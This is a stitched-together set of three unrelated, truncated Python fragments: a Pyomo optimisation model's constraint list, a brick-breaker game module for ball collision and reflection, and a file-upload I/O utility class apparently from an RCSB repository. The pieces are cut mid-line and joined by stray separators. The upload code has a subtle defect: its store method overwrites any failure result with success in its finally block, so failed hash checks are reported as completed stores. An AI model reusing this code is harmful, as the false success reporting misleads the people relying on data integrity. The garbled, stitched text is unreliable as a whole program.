m.c38 = Constraint(expr= m.x144 == 0)
m.c39 = Constraint(expr= m.x145 == 0)
m.c40 = Constraint(expr= m.x152 == 0)
m.c41 = Constraint(expr= m.x153 == 0)
m.c42 = Constraint(expr= m.x4 - m.x142 - m.x144 == 0)
m.c43 = Constraint(expr= m.x5 - m.x143 - m.x145 == 0)
m.c44 = Constraint(expr= m.x8 - m.x150 - m.x152 == 0)
m.c45 = Constraint(expr= m.x9 - m.x151 - m.x153 == 0)
m.c46 = Constraint(expr= m.x142 - 40*m.b398 <= 0)
m.c47 = Constraint(expr= m.x143 - 40*m.b399 <= 0)
m.c48 = Constraint(expr= m.x144 + 40*m.b398 <= 40)
m.c49 = Constraint(expr= m.x145 + 40*m.b399 <= 40)
m.c50 = Constraint(expr= m.x150 - 3.71357206670431*m.b398 <= 0)
m.c51 = Constraint(expr= m.x151 - 3.71357206670431*m.b399 <= 0)
m.c52 = Constraint(expr= m.x152 + 3.71357206670431*m.b398 <= 3.71357206670431)
m.c53 = Constraint(expr= m.x153 + 3.71357206670431*m.b399 <= 3.71357206670431)
m.c54 = Constraint(expr=(m.x154/(0.001 + 0.999*m.b400) - 1.2*log(1 + m.x146/(0.001 + 0.999*m.b400)))*(0.001 + 0.999*
m.b400) <= 0)
m.c55 = Constraint(expr=(m.x155/(0.001 + 0.999*m.b401) - 1.2*log(1 + m.x147/(0.001 + 0.999*m.b401)))*(0.001 + 0.999*
m.b401) <= 0)
m.c56 = Constraint(expr= m.x148 == 0)
m.c57 = Constraint(expr= m.x149 == 0)
m.c58 = Constraint(expr= m.x156 == 0)
m.c59 = Constraint(expr= m.x157 == 0)
m.c60 = Constraint(expr= m.x6 - m.x146 - m.x148 == 0)
m.c61 = Constraint(expr= m.x7 - m.x147 - m.x149 == 0)
m.c62 = Constraint(expr= m.x10 - m.x154 - m.x156 == 0)
m.c63 = Constraint(expr= m.x11 - m.x155 - m.x157 == 0)
m.c64 = Constraint(expr= m.x146 - 40*m.b400 <= 0)
m.c65 = Constraint(expr= m.x147 - 40*m.b401 <= 0)
m.c66 = Constraint(expr= m.x148 + 40*m.b400 <= 40)
m.c67 = Constraint(expr= m.x149 + 40*m.b401 <= 40)
m.c68 = Constraint(expr= m.x154 - 4.45628648004517*m.b400 <= 0)
m.c69 = Constraint(expr= m.x155 - 4.45628648004517*m.b401 <= 0)
m.c70 = Constraint(expr= m.x156 + 4.45628648004517*m.b400 <= 4.45628648004517)
m.c71 = Constraint(expr= m.x157 + 4.45628648004517*m.b401 <= 4.45628648004517)
m.c72 = Constraint(expr= - 0.75*m.x158 + m.x174 == 0)
m.c73 = Constraint(expr= - 0.75*m.x159 + m.x175 == 0)
m.c74 = Constraint(expr= m.x160 == 0)
m.c75 = Constraint(expr= m.x161 == 0)
m.c76 = Constraint(expr= m.x176 == 0)
m.c77 = Constraint(expr= m.x177 == 0)
m.c78 = Constraint(expr= m.x18 - m.x158 - m.x160 == 0)
m.c79 = Constraint(expr= m.x19 - m.x159 - m.x161 == 0)
m.c80 = Constraint(expr= m.x26 - m.x174 - m.x176 == 0)
m.c81 = Constraint(expr= m.x27 - m.x175 - m.x177 == 0)
m.c82 = Constraint(expr= m.x158 - 4.45628648004517*m.b402 <= 0)
m.c83 = Constraint(expr= m.x159 - 4.45628648004517*m.b403 <= 0)
m.c84 = Constraint(expr= m.x160 + 4.45628648004517*m.b402 <= 4.45628648004517)
m.c85 = Constraint(expr= m.x161 + 4.45628648004517*m.b403 <= 4.45628648004517)
m.c86 = Constraint(expr= m.x174 - 3.34221486003388*m.b402 <= 0)
m.c87 = Constraint(expr= m.x175 - 3.34221486003388*m.b403 <= 0)
m.c88 = Constraint(expr= m.x176 + 3.34221486003388*m.b402 <= 3.34221486003388)
m.c89 = Constraint(expr= m.x177 + 3.34221486003388*m.b403 <= 3.34221486003388)
m.c90 = Constraint(expr=(m.x178/(0.001 + 0.999*m.b404) - 1.5*log(1 + m.x162/(0.001 + 0.999*m.b404)))*(0.001 + 0.999*
m.b404) <= 0)
m.c91 = Constraint(expr=(m.x179/(0.001 + 0.999*m.b405) - 1.5*log(1 + m.x163/(0.001 + 0.999*m.b405)))*(0.001 + 0.999*
m.b405) <= 0)
m.c92 = Constraint(expr= m.x164 == 0)
m.c93 = Constraint(expr= m.x165 == 0)
m.c94 = Constraint(expr= m.x182 == 0)
m.c95 = Constraint(expr= m.x183 == 0)
m.c96 = Constraint(expr= m.x20 - m.x162 - m.x164 == 0)
m.c97 = Constraint(expr= m.x21 - m.x163 - m.x165 == 0)
m.c98 = Constraint(expr= m.x28 - m.x178 - m.x182 == 0)
m.c99 = Constraint(expr= m.x29 - m.x179 - m.x183 == 0)
m.c100 = Constraint(expr= m.x162 - 4.45628648004517*m.b404 <= 0)
m.c101 = Constraint(expr= m.x163 - 4.45628648004517*m.b405 <= 0)
m.c102 = Constraint(expr= m.x164 + 4.45628648004517*m.b404 <= 4.45628648004517)
m.c103 = Constraint(expr= m.x165 + 4.45628648004517*m.b405 <= 4.45628648004517)
m.c104 = Constraint(expr= m.x178 - 2.54515263975353*m.b404 <= 0)
m.c105 = Constraint(expr= m.x179 - 2.54515263975353*m.b405 <= 0)
m.c106 = Constraint(expr= m.x182 + 2.54515263975353*m.b404 <= 2.54515263975353)
m.c107 = Constraint(expr= m.x183 + 2.54515263975353*m.b405 <= 2.54515263975353)
m.c108 = Constraint(expr= - m.x166 + m.x186 == 0)
m.c109 = Constraint(expr= - m.x167 + m.x187 == 0)
m.c110 = Constraint(expr= - 0.5*m.x170 + m.x186 == 0)
m.c111 = Constraint(expr= - 0.5*m.x171 + m.x187 == 0)
m.c112 = Constraint(expr= m.x168 == 0)
m.c113 = Constraint(expr= m.x169 == 0)
m.c114 = Constraint(expr= m.x172 == 0)
m.c115 = Constraint(expr= m.x173 == 0)
m.c116 = Constraint(expr= m.x188 == 0)
m.c117 = Constraint(expr= m.x189 == 0)
m.c118 = Constraint(expr= m.x22 - m.x166 - m.x168 == 0)
m.c119 = Constraint(expr= m.x23 - m.x167 - m.x169 == 0)
m.c120 = Constraint(expr= m.x24 - m.x170 - m.x172 == 0)
m.c121 = Constraint(expr= m.x25 - m.x171 - m.x173 == 0)
m.c122 = Constraint(expr= m.x30 - m.x186 - m.x188 == 0)
m.c123 = Constraint(expr= m.x31 - m.x187 - m.x189 == 0)
m.c124 = Constraint(expr= m.x166 - 4.45628648004517*m.b406 <= 0)
m.c125 = Constraint(expr= m.x167 - 4.45628648004517*m.b407 <= 0)
m.c126 = Constraint(expr= m.x168 + 4.45628648004517*m.b406 <= 4.45628648004517)
m.c127 = Constraint(expr= m.x169 + 4.45628648004517*m.b407 <= 4.45628648004517)
m.c128 = Constraint(expr= m.x170 - 30*m.b406 <= 0)
m.c129 = Constraint(expr= m.x171 - 30*m.b407 <= 0)
m.c130 = Constraint(expr= m.x172 + 30*m.b406 <= 30)
m.c131 = Constraint(expr= m.x173 + 30*m.b407 <= 30)
m.c132 = Constraint(expr= m.x186 - 15*m.b406 <= 0)
m.c133 = Constraint(expr= m.x187 - 15*m.b407 <= 0)
m.c134 = Constraint(expr= m.x188 + 15*m.b406 <= 15)
m.c135 = Constraint(expr= m.x189 + 15*m.b407 <= 15)
m.c136 = Constraint(expr=(m.x210/(0.001 + 0.999*m.b408) - 1.25*log(1 + m.x190/(0.001 + 0.999*m.b408)))*(0.001 + 0.999*
m.b408) <= 0)
m.c137 = Constraint(expr=(m.x211/(0.001 + 0.999*m.b409) - 1.25*log(1 + m.x191/(0.001 + 0.999*m.b409)))*(0.001 + 0.999*
m.b409) <= 0)
m.c138 = | |
"""
Module to handle the reflections between game objects.
Methods
-------
reflect_from_platform(ball: Ball, platform: Platform) -> bool:
Checks if ball collides with platform and reflects from if True.
Returns True on reflect
reflect_from_game_objects(
ball: Ball, game_objects: List[GameObject]
) -> List[GameObject]:
Checks if ball collides with one or more game objects and reflects from
them.
Returns a list of all the objects hit by the ball.
Decreases hitpoints if brick is hit.
"""
from bricks.game_objects.ball import Ball
from bricks.game_objects.platform import Platform
from bricks.game_objects.brick import Brick
from bricks.game_objects.indestructible_brick import IndestructibleBrick
from bricks.game_objects.game_object import GameObject
from bricks.types.point import Point
from bricks.types.angle import Angle, Quadrant
from typing import List
from typing import Tuple
from enum import Enum
from numpy import deg2rad
class _Intersection(Enum):
NONE = (0,)
LEFT = (1,)
TOP_LEFT = (2,)
TOP = (3,)
TOP_RIGHT = (4,)
RIGHT = (5,)
BOTTOM_RIGHT = (6,)
BOTTOM = (7,)
BOTTOM_LEFT = 8
def reflect_from_platform(ball: Ball, platform: Platform) -> bool:
"""
Reflect from platform if ball has hit it.
Get intersections with platform.
If intersections exists reflect from the platform.
Return True to indicate reflection.
"""
intersection = _get_intersection(ball, platform)
if intersection == _Intersection.NONE:
return False
_reflect_from_single_object(ball, platform, intersection)
ball.angle = _clamp_angle(ball.angle)
return True
def reflect_from_game_objects(
ball: Ball, game_objects: List[GameObject]
) -> List[GameObject]:
"""
Reflect from game objects if ball has hit them.
Get intersections with game objects.
Reflect from one or several game objects.
Return game objects which were hit.
If brick was hit decrease hitpoints.
"""
object_intersection_pairs = _get_object_intersection_pairs(
ball, game_objects
)
if len(object_intersection_pairs) == 1:
_reflect_from_single_object(
ball=ball,
game_object=object_intersection_pairs[0][0],
intersection=object_intersection_pairs[0][1],
)
ball.angle = _clamp_angle(ball.angle)
return [object_intersection_pairs[0][0]]
if len(object_intersection_pairs) > 1:
_reflect_from_multiple_objects(
ball=ball, object_intersection_pairs=object_intersection_pairs
)
ball.angle = _clamp_angle(ball.angle)
hit_objects: List[GameObject] = []
for object_intersection_pair in object_intersection_pairs:
hit_objects.append(object_intersection_pair[0])
return hit_objects
return []
def _get_object_intersection_pairs(
ball: Ball, game_objects: List[GameObject]
) -> List[Tuple[GameObject, _Intersection]]:
object_intersection_pairs = []
for game_object in game_objects:
intersection = _get_intersection(ball, game_object)
if intersection == _Intersection.NONE:
continue
if isinstance(game_object, Brick):
if game_object.is_destroyed():
continue
game_object.decrease_hitpoints()
object_intersection_pairs.append((game_object, intersection))
return object_intersection_pairs
def _get_intersection(ball: Ball, obj: GameObject) -> _Intersection:
intersections: List[_Intersection] = []
if _top_left_intersects_with_bottom_right(
top_left_1=ball.top_left,
bottom_right_2=obj.bottom_right,
top_left_2=obj.top_left,
):
intersections.append(_Intersection.BOTTOM_RIGHT)
if _top_right_intersects_with_bottom_left(
top_right_1=ball.top_right,
bottom_left_2=obj.bottom_left,
top_right_2=obj.top_right,
):
intersections.append(_Intersection.BOTTOM_LEFT)
if _bottom_left_intersects_with_top_right(
bottom_left_1=ball.bottom_left,
top_right_2=obj.top_right,
bottom_left_2=obj.bottom_left,
):
intersections.append(_Intersection.TOP_RIGHT)
if _bottom_right_intersects_with_top_left(
bottom_right_1=ball.bottom_right,
top_left_2=obj.top_left,
bottom_right_2=obj.bottom_right,
):
intersections.append(_Intersection.TOP_LEFT)
if len(intersections) == 0:
return _Intersection.NONE
if len(intersections) == 1:
return intersections[0]
if len(intersections) == 2:
if _intersects_left(intersections):
return _Intersection.LEFT
if _intersects_top(intersections):
return _Intersection.TOP
if _intersects_right(intersections):
return _Intersection.RIGHT
if _intersects_bottom(intersections):
return _Intersection.BOTTOM
return _Intersection.NONE
def _bottom_right_intersects_with_top_left(
bottom_right_1: Point, top_left_2: Point, bottom_right_2: Point
) -> bool:
"""Bottom right of square 1 is inside the top left of square 2."""
x_is_inside = top_left_2.x <= bottom_right_1.x < bottom_right_2.x
y_is_inside = top_left_2.y <= bottom_right_1.y < bottom_right_2.y
return x_is_inside and y_is_inside
def _bottom_left_intersects_with_top_right(
bottom_left_1: Point, top_right_2: Point, bottom_left_2: Point
) -> bool:
"""Bottom left of square 1 is inside the top right of square 2."""
x_is_inside = top_right_2.x >= bottom_left_1.x > bottom_left_2.x
y_is_inside = top_right_2.y <= bottom_left_1.y < bottom_left_2.y
return x_is_inside and y_is_inside
def _top_left_intersects_with_bottom_right(
top_left_1: Point, bottom_right_2: Point, top_left_2: Point
) -> bool:
"""Top left of square 1 is inside the bottom right of square 2."""
x_is_inside = bottom_right_2.x >= top_left_1.x > top_left_2.x
y_is_inside = bottom_right_2.y >= top_left_1.y > top_left_2.y
return x_is_inside and y_is_inside
def _top_right_intersects_with_bottom_left(
top_right_1: Point, bottom_left_2: Point, top_right_2: Point
) -> bool:
"""Top right of square 1 is inside the bottom left of square 2."""
x_is_inside = bottom_left_2.x <= top_right_1.x < top_right_2.x
y_is_inside = bottom_left_2.y >= top_right_1.y > top_right_2.y
return x_is_inside and y_is_inside
def _intersects_left(intersections: List[_Intersection]) -> bool:
assert len(intersections) == 2
return all(
x in intersections
for x in [_Intersection.BOTTOM_LEFT, _Intersection.TOP_LEFT]
)
def _intersects_top(intersections: List[_Intersection]) -> bool:
assert len(intersections) == 2
return all(
x in intersections
for x in [_Intersection.TOP_LEFT, _Intersection.TOP_RIGHT]
)
def _intersects_right(intersections: List[_Intersection]) -> bool:
assert len(intersections) == 2
return all(
x in intersections
for x in [_Intersection.TOP_RIGHT, _Intersection.BOTTOM_RIGHT]
)
def _intersects_bottom(intersections: List[_Intersection]) -> bool:
assert len(intersections) == 2
return all(
x in intersections
for x in [_Intersection.BOTTOM_RIGHT, _Intersection.BOTTOM_LEFT]
)
def _reflect_from_single_object(
ball: Ball, game_object: GameObject, intersection: _Intersection
):
if intersection == _Intersection.LEFT:
_reflect_from_collision_with_left(ball, game_object)
elif intersection == _Intersection.TOP_LEFT:
if _intersection_is_more_left_than_top(ball, game_object):
_reflect_from_collision_with_left(ball, game_object)
else:
if isinstance(game_object, Platform):
_reflect_from_collision_with_top_relative_to_positon(
ball, game_object
)
else:
_reflect_from_collision_with_top(ball, game_object)
elif intersection == _Intersection.TOP:
if isinstance(game_object, Platform):
_reflect_from_collision_with_top_relative_to_positon(
ball, game_object
)
else:
_reflect_from_collision_with_top(ball, game_object)
elif intersection == _Intersection.TOP_RIGHT:
if _intersection_is_more_top_than_right(ball, game_object):
if isinstance(game_object, Platform):
_reflect_from_collision_with_top_relative_to_positon(
ball, game_object
)
else:
_reflect_from_collision_with_top(ball, game_object)
else:
_reflect_from_collision_with_right(ball, game_object)
elif intersection == _Intersection.RIGHT:
_reflect_from_collision_with_right(ball, game_object)
elif intersection == _Intersection.BOTTOM_RIGHT:
if _intersection_is_more_right_than_bottom(ball, game_object):
_reflect_from_collision_with_right(ball, game_object)
else:
_reflect_from_collision_with_bottom(ball, game_object)
elif intersection == _Intersection.BOTTOM:
_reflect_from_collision_with_bottom(ball, game_object)
elif intersection == _Intersection.BOTTOM_LEFT:
if _intersection_is_more_bottom_than_left(ball, game_object):
_reflect_from_collision_with_bottom(ball, game_object)
else:
_reflect_from_collision_with_left(ball, game_object)
def _reflect_from_multiple_objects(
ball: Ball,
object_intersection_pairs=List[Tuple[GameObject, _Intersection]],
):
assert len(object_intersection_pairs) > 1
if _intersects_from_left_with_multi_objects(object_intersection_pairs):
_reflect_from_collision_with_left(
ball, object_intersection_pairs[0][0]
)
elif _intersects_from_top_with_multi_objects(object_intersection_pairs):
_reflect_from_collision_with_top(ball, object_intersection_pairs[0][0])
elif _intersects_from_right_with_multi_objects(object_intersection_pairs):
_reflect_from_collision_with_right(
ball, object_intersection_pairs[0][0]
)
elif _intersects_from_bottom_with_multi_objects(object_intersection_pairs):
_reflect_from_collision_with_bottom(
ball, object_intersection_pairs[0][0]
)
if len(object_intersection_pairs) == 2:
if _reflect_from_two_objects_in_corner(
ball, object_intersection_pairs
):
return
if len(object_intersection_pairs) == 3:
if _reflect_from_three_objects_in_corner(
ball, object_intersection_pairs
):
return
def _reflect_from_two_objects_in_corner(
ball: Ball,
object_intersection_pairs=List[Tuple[GameObject, _Intersection]],
) -> bool:
if _intersects_in_top_left_corner_with_two_objects(
object_intersection_pairs
):
_put_before_intersects_with_top_left_corner(
ball, object_intersection_pairs
)
ball.angle.value -= deg2rad(180)
return True
if _intersects_in_top_right_corner_with_two_objects(
object_intersection_pairs
):
_put_before_intersects_with_top_right_corner(
ball, object_intersection_pairs
)
ball.angle.value -= deg2rad(180)
return True
if _intersects_in_bottom_right_corner_with_two_objects(
object_intersection_pairs
):
_put_before_intersects_with_bottom_right_corner(
ball, object_intersection_pairs
)
ball.angle.value += deg2rad(180)
return True
if _intersects_in_bottom_left_corner_with_two_objects(
object_intersection_pairs
):
_put_before_intersects_with_bottom_left_corner(
ball, object_intersection_pairs
)
ball.angle.value += deg2rad(180)
return True
return False
def _reflect_from_three_objects_in_corner(
ball: Ball,
object_intersection_pairs=List[Tuple[GameObject, _Intersection]],
) -> bool:
if _intersects_in_top_left_corner_with_three_objects(
object_intersection_pairs
):
_put_before_intersects_with_top_left_corner(
ball, object_intersection_pairs
)
ball.angle.value -= deg2rad(180)
return True
if _intersects_in_top_right_corner_with_three_objects(
object_intersection_pairs
):
_put_before_intersects_with_top_right_corner(
ball, object_intersection_pairs
)
ball.angle.value -= deg2rad(180)
return True
if _intersects_in_bottom_right_corner_with_three_objects(
object_intersection_pairs
):
_put_before_intersects_with_bottom_right_corner(
ball, object_intersection_pairs
)
ball.angle.value += deg2rad(180)
return True
if _intersects_in_bottom_left_corner_with_three_objects(
object_intersection_pairs
):
_put_before_intersects_with_bottom_left_corner(
ball, object_intersection_pairs
)
ball.angle.value += deg2rad(180)
return True
return False
def _intersects_in_top_left_corner_with_two_objects(
object_intersection_pairs=List[Tuple[GameObject, _Intersection]]
) -> bool:
intersections = [x[1] for x in object_intersection_pairs]
variant1 = all(
x in intersections
for x in [_Intersection.RIGHT, _Intersection.BOTTOM_LEFT]
)
variant2 = all(
x in intersections
for x in [_Intersection.TOP_RIGHT, _Intersection.BOTTOM]
)
return variant1 or variant2
def _intersects_in_top_left_corner_with_three_objects(
object_intersection_pairs=List[Tuple[GameObject, _Intersection]]
) -> bool:
intersections = [x[1] for x in object_intersection_pairs]
return all(
x in intersections
for x in [
_Intersection.BOTTOM_LEFT,
_Intersection.BOTTOM_RIGHT,
_Intersection.TOP_RIGHT,
]
)
def _put_before_intersects_with_top_left_corner(
ball: Ball,
object_intersection_pairs=List[Tuple[GameObject, _Intersection]],
):
for object_intersection_pair in object_intersection_pairs:
intersection = object_intersection_pair[1]
if (
intersection == _Intersection.BOTTOM_LEFT
or intersection == _Intersection.BOTTOM
):
_put_before_intersects_with_top_y(
ball, object_intersection_pair[0]
)
elif intersection == _Intersection.BOTTOM_RIGHT:
pass
elif (
intersection == _Intersection.TOP_RIGHT
or intersection == _Intersection.RIGHT
):
_put_before_intersects_with_left_x(
ball, object_intersection_pair[0]
)
else:
assert True == False
def _intersects_in_top_right_corner_with_two_objects(
object_intersection_pairs=List[Tuple[GameObject, _Intersection]]
) -> bool:
intersections = [x[1] for x in object_intersection_pairs]
variant1 = all(
x in intersections
for x in [_Intersection.BOTTOM_RIGHT, _Intersection.LEFT]
)
variant2 = all(
x in intersections
for x in [_Intersection.BOTTOM, _Intersection.TOP_LEFT]
)
return variant1 or variant2
def _intersects_in_top_right_corner_with_three_objects(
object_intersection_pairs=List[Tuple[GameObject, _Intersection]]
) -> bool:
intersections = [x[1] for x in object_intersection_pairs]
return all(
x in intersections
for x in [
_Intersection.BOTTOM_RIGHT,
_Intersection.BOTTOM_LEFT,
_Intersection.TOP_LEFT,
]
)
def _put_before_intersects_with_top_right_corner(
ball: Ball,
object_intersection_pairs=List[Tuple[GameObject, _Intersection]],
):
for object_intersection_pair in object_intersection_pairs:
intersection = object_intersection_pair[1]
if (
intersection == _Intersection.BOTTOM_RIGHT
or intersection == _Intersection.BOTTOM
):
_put_before_intersects_with_top_y(
ball, object_intersection_pair[0]
)
elif intersection == _Intersection.BOTTOM_LEFT:
pass
elif (
intersection == _Intersection.TOP_LEFT
or intersection == _Intersection.LEFT
):
_put_before_intersects_with_right_x(
ball, object_intersection_pair[0]
)
else:
assert True == False
def _intersects_in_bottom_right_corner_with_two_objects(
object_intersection_pairs=List[Tuple[GameObject, _Intersection]]
) -> bool:
intersections = [x[1] for x in object_intersection_pairs]
variant1 = all(
x in intersections
for x in [_Intersection.TOP, _Intersection.BOTTOM_LEFT]
)
variant2 = all(
x in intersections
for x in [_Intersection.LEFT, _Intersection.TOP_RIGHT]
)
return variant1 or variant2
def _intersects_in_bottom_right_corner_with_three_objects(
object_intersection_pairs=List[Tuple[GameObject, _Intersection]]
) -> bool:
intersections = [x[1] for x in object_intersection_pairs]
return all(
x in intersections
for x in [
_Intersection.TOP_RIGHT,
_Intersection.TOP_LEFT,
_Intersection.BOTTOM_LEFT,
]
)
def _put_before_intersects_with_bottom_right_corner(
ball: Ball,
object_intersection_pairs=List[Tuple[GameObject, _Intersection]],
):
for object_intersection_pair in object_intersection_pairs:
intersection = object_intersection_pair[1]
if (
intersection == _Intersection.TOP_RIGHT
or intersection == _Intersection.TOP
):
_put_before_intersects_with_bottom_y(
ball, object_intersection_pair[0]
)
elif intersection == _Intersection.TOP_LEFT:
pass
elif (
intersection == _Intersection.BOTTOM_LEFT
or intersection == _Intersection.LEFT
):
_put_before_intersects_with_right_x(
ball, object_intersection_pair[0]
)
else:
assert True == False
def _intersects_in_bottom_left_corner_with_two_objects(
object_intersection_pairs=List[Tuple[GameObject, _Intersection]]
) -> bool:
intersections = [x[1] for x in object_intersection_pairs]
variant1 = all(
x in intersections
for x in [_Intersection.TOP, _Intersection.BOTTOM_RIGHT]
)
variant2 = all(
x in intersections
for x in [_Intersection.TOP_LEFT, _Intersection.RIGHT]
)
return variant1 or variant2
def _intersects_in_bottom_left_corner_with_three_objects(
object_intersection_pairs=List[Tuple[GameObject, _Intersection]]
) -> bool:
intersections = [x[1] for | |
<reponame>rcsb/py-rcsb_app_file
##
# File: IoUtils.py
# Author: jdw
# Date: 30-Aug-2021
# Version: 0.001
#
# Updates:
##
"""
Collected I/O utilities.
"""
__docformat__ = "google en"
__author__ = "<NAME>"
__email__ = "<EMAIL>"
__license__ = "Apache 2.0"
import asyncio
import functools
import gzip
import hashlib
import logging
import os
import shutil
import typing
import aiofiles
from rcsb.app.file.ConfigProvider import ConfigProvider
from rcsb.app.file.PathUtils import PathUtils
from rcsb.utils.io.FileLock import FileLock
logger = logging.getLogger(__name__)
def wrapAsync(fnc: typing.Callable) -> typing.Awaitable:
@functools.wraps(fnc)
def wrap(*args, **kwargs):
loop = asyncio.get_event_loop()
func = functools.partial(fnc, *args, **kwargs)
return loop.run_in_executor(executor=None, func=func)
return wrap
class IoUtils:
"""Collected utilities request I/O processing.
1. Upload a single file (only write new versions)
lock the idcode/contentType
create the output path
store data atomically
2. Upload a single file in parts (only write new versions):
if a client multipart partSession exists use it otherwise create the new client session
save part and metadata to new session
if all parts are present
assemble parts and do the single file update (above)
3. Upload tarfile of individual files with common type/format w/ version=next
Download a single file
Download/upload a session bundle
"""
def __init__(self, cP: typing.Type[ConfigProvider]):
self.__cP = cP
self.__pathU = PathUtils(self.__cP)
self.__makedirs = wrapAsync(os.makedirs)
self.__replace = wrapAsync(os.replace)
self.__hashSHA1 = wrapAsync(hashlib.sha1)
self.__hashMD5 = wrapAsync(hashlib.md5)
self.__hashSHA256 = wrapAsync(hashlib.sha256)
self.__checkHashAsync = wrapAsync(self.checkHash)
self.__getHashDigestAsync = wrapAsync(self.getHashDigest)
async def store(
self,
ifh: typing.IO,
outPath: str,
mode: typing.Optional[str] = "wb",
copyMode: typing.Optional[str] = "native",
hashType: typing.Optional[str] = None,
hashDigest: typing.Optional[str] = None,
) -> typing.Dict:
"""Store data in the input file handle in the specified output path.
Args:
ifh (file-like-object): input file object containing target data
outPath (str): output file path
mode (str, optional): output file mode
copyMode (str, optional): concrete copy mode (native|shell). Defaults to 'native'.
hashType (str, optional): hash type (MD5|SHA1|SHA256). Defaults to 'MD5'.
hashDigest (str, optional): hash digest. Defaults to None.
Returns:
(dict): {"success": True|False, "statusMessage": <text>}
"""
ok = False
ret = {"success": False, "statusMessage": None}
try:
dirPath, fn = os.path.split(outPath)
tempPath = os.path.join(dirPath, "." + fn)
await self.__makedirs(dirPath, mode=0o755, exist_ok=True)
if copyMode == "shell":
with open(tempPath, mode) as ofh: # pylint: disable=unspecified-encoding
shutil.copyfileobj(ifh, ofh)
else:
async with aiofiles.open(tempPath, mode) as ofh:
if copyMode == "native":
await ofh.write(ifh.read())
await ofh.flush()
os.fsync(ofh.fileno())
elif copyMode == "gzip_decompress":
await ofh.write(gzip.decompress(ifh.read()))
await ofh.flush()
os.fsync(ofh.fileno())
#
ok = True
if hashDigest and hashType:
# ok = self.checkHash(tempPath, hashDigest, hashType)
ok = await self.__checkHashAsync(tempPath, hashDigest, hashType)
if not ok:
ret = {"success": False, "statusCode": 400, "statusMessage": "%s hash check failed" % hashType}
if ok:
await self.__replace(tempPath, outPath)
except Exception as e:
logger.exception("Internal write error for path %r: %s", outPath, str(e))
ret = {"success": False, "statusCode": 400, "statusMessage": "Store fails with %s" % str(e)}
finally:
ifh.close()
if os.path.exists(tempPath):
try:
os.unlink(tempPath)
except Exception:
pass
ret = {"success": True, "statusCode": 200, "statusMessage": "Store completed"}
logger.info("Completed store with %r (%d)", outPath, os.path.getsize(outPath))
return ret
async def storeUpload(
self,
ifh: typing.IO,
repoType: str,
idCode: str,
contentType: str,
partNumber: int,
contentFormat: str,
version: str,
allowOverWrite: bool = True,
copyMode: str = "native",
hashType: str = "MD5",
hashDigest: typing.Optional[str] = None,
) -> typing.Dict:
logger.debug(
"repoType %r idCode %r contentType %r partNumber %r contentFormat %r version %r copyMode %r", repoType, idCode, contentType, partNumber, contentFormat, version, copyMode
)
lockPath = self.__pathU.getFileLockPath(idCode, contentType, partNumber, contentFormat)
myLock = FileLock(lockPath)
with myLock:
logger.debug("am i locked %r", myLock.isLocked())
outPath = self.__pathU.getVersionedPath(repoType, idCode, contentType, partNumber, contentFormat, version)
if not outPath:
return {"success": False, "statusCode": 405, "statusMessage": "Bad content type metadata - cannot build a valid path"}
elif os.path.exists(outPath) and not allowOverWrite:
logger.info("Path exists (overwrite %r): %r", allowOverWrite, outPath)
return {"success": False, "statusCode": 405, "statusMessage": "Encountered existing file - overwrite prohibited"}
ret = await self.store(ifh, outPath, mode="wb", copyMode=copyMode, hashType=hashType, hashDigest=hashDigest)
#
ret["fileName"] = os.path.basename(outPath) if ret["success"] else None
return ret
def checkHash(self, pth: str, hashDigest: str, hashType: str) -> bool:
tHash = self.getHashDigest(pth, hashType)
return tHash == hashDigest
def getHashDigest(self, filePath: str, hashType: str = "SHA1", blockSize: int = 65536) -> typing.Optional[str]:
"""Return the hash (hashType) for the input file.
Args:
filePath (str): for input file path
hashType (str, optional): one of MD5, SHA1, or SHA256. Defaults to "SHA1".
blockSize (int, optional): the size of incremental read operations. Defaults to 65536.
Returns:
(str): hash digest or None on failure
"""
if hashType not in ["MD5", "SHA1", "SHA256"]:
return None
try:
if hashType == "SHA1":
# hashObj = await self.__hashSHA1()
hashObj = hashlib.sha1()
elif hashType == "SHA256":
# hashObj = await self.__hashSHA256()
hashObj = hashlib.sha256()
elif hashType == "MD5":
# hashObj = await self.__hashMD5()
hashObj = hashlib.md5()
with open(filePath, "rb") as ifh:
for block in iter(lambda: ifh.read(blockSize), b""):
hashObj.update(block)
return hashObj.hexdigest()
except Exception as e:
logger.exception("Failing with file %s %r", filePath, str(e))
return None
# ---
async def storeSlice(
self,
ifh: typing.IO,
sliceIndex: int,
sliceTotal: int,
sessionId: str,
copyMode: str = "native",
hashType: str = "MD5",
hashDigest: typing.Optional[str] = None,
) -> typing.Dict:
#
ret = {"success": False, "statusMessage": None}
lockPath = self.__pathU.getSliceLockPath(sessionId, sliceIndex, sliceTotal)
slicePath = self.__pathU.getSliceFilePath(sessionId, sliceIndex, sliceTotal)
with FileLock(lockPath):
ret = await self.store(ifh, slicePath, mode="wb", copyMode=copyMode, hashType=hashType, hashDigest=hashDigest)
ret["sliceCount"] = self.getSliceCount(sessionId, sliceTotal)
return ret
# ---
async def finalizeMultiSliceUpload(
self,
sliceTotal: int,
sessionId: str,
#
repoType: str,
idCode: str,
contentType: str,
partNumber: int,
contentFormat: str,
version: str,
allowOverWrite: bool = True,
copyMode: str = "native",
#
hashType: str = "MD5",
hashDigest: typing.Optional[str] = None,
) -> typing.Dict:
logger.info(
"repoType %r idCode %r contentType %r partNumber %r contentFormat %r version %r copyMode %r", repoType, idCode, contentType, partNumber, contentFormat, version, copyMode
)
#
ret = {"success": False, "statusMessage": None}
sliceCount = self.getSliceCount(sessionId, sliceTotal)
if sliceCount < sliceTotal:
ret["statusCode"] = 400
ret["sliceCount"] = sliceCount
ret["statusMessage"] = f"Missing slice(s) {sliceCount}/{sliceTotal}"
return ret
#
lockPath = self.__pathU.getFileLockPath(idCode, contentType, partNumber, contentFormat)
logger.info("lockPath %r", lockPath)
#
with FileLock(lockPath):
outPath = self.__pathU.getVersionedPath(repoType, idCode, contentType, partNumber, contentFormat, version)
if not outPath:
return {"success": False, "statusCode": 405, "statusMessage": "Bad content type metadata - cannot build a valid path"}
elif os.path.exists(outPath) and not allowOverWrite:
logger.info("Path exists (overwrite %r): %r", allowOverWrite, outPath)
return None
ret = await self.joinSlices(outPath, sessionId, sliceTotal, mode="wb", hashType=hashType, hashDigest=hashDigest)
return ret
def haveAllSlices(self, sessionId, sliceTotal) -> bool:
for cn in range(1, sliceTotal + 1):
fp = self.__pathU.getSliceFilePath(sessionId, cn, sliceTotal)
if not os.path.exists(fp):
return False
return True
def getSliceCount(self, sessionId, sliceTotal) -> int:
sliceCount = 0
for cn in range(1, sliceTotal + 1):
fp = self.__pathU.getSliceFilePath(sessionId, cn, sliceTotal)
if os.path.exists(fp):
sliceCount += 1
return sliceCount
